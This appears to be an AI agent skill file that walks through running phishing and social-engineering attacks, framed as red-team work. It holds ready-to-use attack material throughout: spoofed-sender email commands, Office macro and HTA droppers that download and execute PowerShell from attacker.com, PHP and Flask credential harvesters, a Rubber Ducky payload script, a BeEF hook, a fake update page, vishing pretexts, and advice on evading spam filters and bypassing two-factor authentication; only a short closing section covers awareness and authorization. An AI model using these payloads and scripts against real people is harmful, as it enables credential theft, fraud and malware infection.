| name | performing-social-engineering |
| description | Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements. |
Performing Social Engineering
When to Use
- Phishing campaign execution
- Credential harvesting operations
- Social engineering assessments
- Red team engagements
- Security awareness testing
Phishing Infrastructure
Gophish (Phishing Framework)
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish
https://localhost:3333
Gophish Campaign Setup:
- Email Templates - Create convincing phishing emails
- Landing Pages - Clone legitimate sites for credential harvesting
- Sending Profiles - Configure SMTP server
- Groups - Import target user lists
- Campaign - Combine all elements and launch
SET (Social Engineering Toolkit)
setoolkit
Credential Harvester:
Email Phishing
Email Spoofing
sendEmail -f ceo@company.com \
-t target@company.com \
-u "Urgent: Password Reset Required" \
-m "Click here to reset: http://evil.com/reset" \
-s smtp.server.com:25
swaks --to target@company.com \
--from ceo@company.com \
--header "Subject: Important Update" \
--body "Please review: http://evil.com" \
--server smtp.company.com
Attachment-Based Phishing
Malicious Office Macros:
' Excel/Word VBA macro
Sub AutoOpen()
Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
End Sub
Malicious PDF:
Malicious HTA:
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>
Clone Legitimate Sites
httrack http://legitimate-site.com -O ./cloned_site/
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com
curl -o index.html http://legitimate-site.com/login
<form action="http://attacker.com/harvest.php" method="POST">
Credential Harvesting Server
Simple PHP Harvester:
<?php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);
header('Location: https://real-site.com');
?>
Python Flask Harvester:
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def harvest():
with open('creds.txt', 'a') as f:
f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
return redirect('https://real-site.com')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Voice Phishing (Vishing)
SpoofCard/Caller ID Spoofing
- Services to spoof caller ID
- Impersonate IT support, executives, vendors
- Social engineering over phone
Common Pretexts:
- IT support needing to verify credentials
- HR department verifying personal information
- Finance department confirming wire transfer
- Vendor requiring payment information update
SMS Phishing (Smishing)
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"
USB Drop Attacks
Rubber Ducky / Bad USB
Ducky Script Example:
REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER
Bash Bunny:
Physical USB Drops
Pretexts:
- "Company Financial Data 2024"
- "Salary Information - Confidential"
- "Employee Bonuses Q4"
- "IT Security Update - Required"
Payload Ideas:
- Reverse shell
- Credential stealer
- Keylogger
- Data exfiltration
- Persistence mechanisms
QR Code Phishing
qrencode -o evil_qr.png "http://evil.com/harvest"
Watering Hole Attacks
- Identify target organization's commonly visited sites
- Compromise the website (or create lookalike)
- Inject malicious code (exploit or profiling)
- Wait for targets to visit and get compromised
Browser-Based Attacks
BeEF (Browser Exploitation Framework)
./beef
<script src="http://attacker-ip:3000/hook.js"></script>
http://127.0.0.1:3000/ui/panel
Fake Update Pages
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>
Pretexting Scenarios
IT Support:
- "Hi, this is John from IT. We're doing routine password resets..."
- "We've detected suspicious activity on your account..."
- "Your VPN certificate is expiring, we need to update it..."
Executive Impersonation:
- "This is [CEO name], I'm in a meeting and need you to..."
- "Urgent: Wire transfer needed before end of day..."
- "I'm traveling and can't access my account, can you help me..."
Vendor/Partner:
- "This is accounting from [vendor]. We need to update payment information..."
- "Your invoice is past due, please update billing details..."
Delivery/Shipping:
- "Package delivery failed, verify address..."
- "Customs clearance required, pay fee at..."
LinkedIn/Social Media Reconnaissance
Payload Delivery Methods
Links:
- Shortened URLs (bit.ly, tinyurl)
- Typosquatting domains
- Homograph attacks (IDN homograph)
- URL obfuscation
Attachments:
- Office documents with macros (.docm, .xlsm)
- PDFs with exploits/JavaScript
- Compressed files (.zip, .rar)
- ISO/IMG files
- LNK files (shortcut tricks)
Advanced:
- HTML smuggling
- Polyglot files
- Password-protected archives (bypass AV)
- Signed malware (stolen/fake certificates)
Tracking and Reporting
Email Tracking:
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">
Link Tracking:
http://attacker.com/click?id=USER123
Metrics to Track:
- Emails sent
- Emails opened (tracking pixel)
- Links clicked
- Credentials submitted
- Attachments opened
- Time to first click/submission
OpSec Considerations
Infrastructure:
- Use disposable domains
- HTTPS for credential harvesting
- Legitimate SSL certificates (Let's Encrypt)
- Categorize domains (submit to categorization services)
- CDN for hosting (CloudFlare)
Email:
- SPF/DKIM/DMARC alignment
- Warm up email reputation
- Similar but different domains (company.com vs company-portal.com)
- Avoid spam trigger words
Detection Avoidance:
- Realistic sender names and addresses
- Professional email content
- Avoid known malicious indicators
- Time-based delivery (business hours)
- Geofencing (target geography only)
Tools Summary
- Gophish - Phishing campaign management
- SET - Social Engineering Toolkit
- BeEF - Browser exploitation
- King Phisher - Phishing campaign toolkit
- Evilginx2 - MITM phishing proxy (bypass 2FA)
- Modlishka - Reverse proxy phishing
- CredSniper - 2FA token capture
- ShellPhish - Automated phishing
Defensive Awareness
Teach users to recognize:
- Urgency/pressure tactics
- Requests for credentials
- Unusual senders
- Suspicious links/attachments
- Too-good-to-be-true offers
- Requests to bypass security
Legal and Ethical Considerations
- Always have written authorization
- Define scope clearly
- Protect harvested data
- Follow ROE (Rules of Engagement)
- Report findings responsibly
- Delete data after engagement
References
